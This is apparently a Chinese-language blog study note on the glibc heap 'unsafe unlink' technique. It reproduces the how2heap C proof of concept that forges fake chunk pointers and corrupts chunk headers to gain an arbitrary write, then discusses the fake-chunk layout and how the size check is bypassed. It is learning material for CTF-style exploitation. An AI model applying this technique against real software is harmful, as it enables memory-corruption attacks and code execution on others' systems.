unlink | 记录

Author Avatar
Aryb1n 3月 17, 2019

学习全靠宋师傅帮助, 宋师傅tql, 我好菜啊

how2heap的例子, 去掉了printf..就是下面的

就是喜闻乐见的chunk0溢出, 修改chunk1的size里的in_use, 以及prevsize, 然后再free chunk1的时候chunk0就会惨遭unlink

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;


    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

    /*
    chunk0_ptr[0] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[1] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    */

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;

    chunk1_hdr[0] = malloc_size;
//    chunk1_hdr[0] = malloc_size + 0x10;

    chunk1_hdr[1] &= ~1;

    free(chunk1_ptr);


    char victim_string[8];
    strcpy(victim_string,"Hello!~");

    chunk0_ptr[1] = (uint64_t) victim_string;

    chunk0_ptr[0] = 0x4141414142424242LL;
}

这个注释吧,是我加的…我开始想第一个问题就是

在伪造fake chunk的时候为什么不能换成注释这种…

这样子为什么不可以呢

----------- <---- fake_chunk
prevsize
----------
size
----------
fake_fd
----------
fake_bk
----------
....
----------

为什么要给chunk0的fake_sizefake_prevsize留位置

----------- 
prevsize
----------
size
----------<---- fake_chunk
fake_prev
----------
fake_size
----------
fake_fd
----------
fake_bk
----------
....
----------

是因为题目中一般都是

char * something_list[20];

something_list[0] = malloc(0x20); // chunk0
something_list[1] = malloc(0x20); // chunk1

所以一般只能找到指向chunk的data的指针, 但很难找到指向chunk头部的指针, 所以要从头开始构造
比如这个something_list[0]就是指向chunk0的data字段的….所以只能从这里开始伪造一个完整的fake_chunk

第二个问题, 就是既然要从头伪造, 为什么这里没有给chunk0_ptr[0]chunk1_ptr[1]赋值呢
本来给fake_chunk的size赋值是为了过这个check

#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \

但这里都是0, 所以相当于

chunksize(P) = 0
next_chunk(P) = P // 由于size字段是0...所以找到的next_chunk还是自己
(next_chunk(P))->prev_size = P ->prev_size
// 所以相当于比较了P自己的prev_size和自己的size, 真好, 都是0

wo好菜啊, 我要加油, 宋师傅tql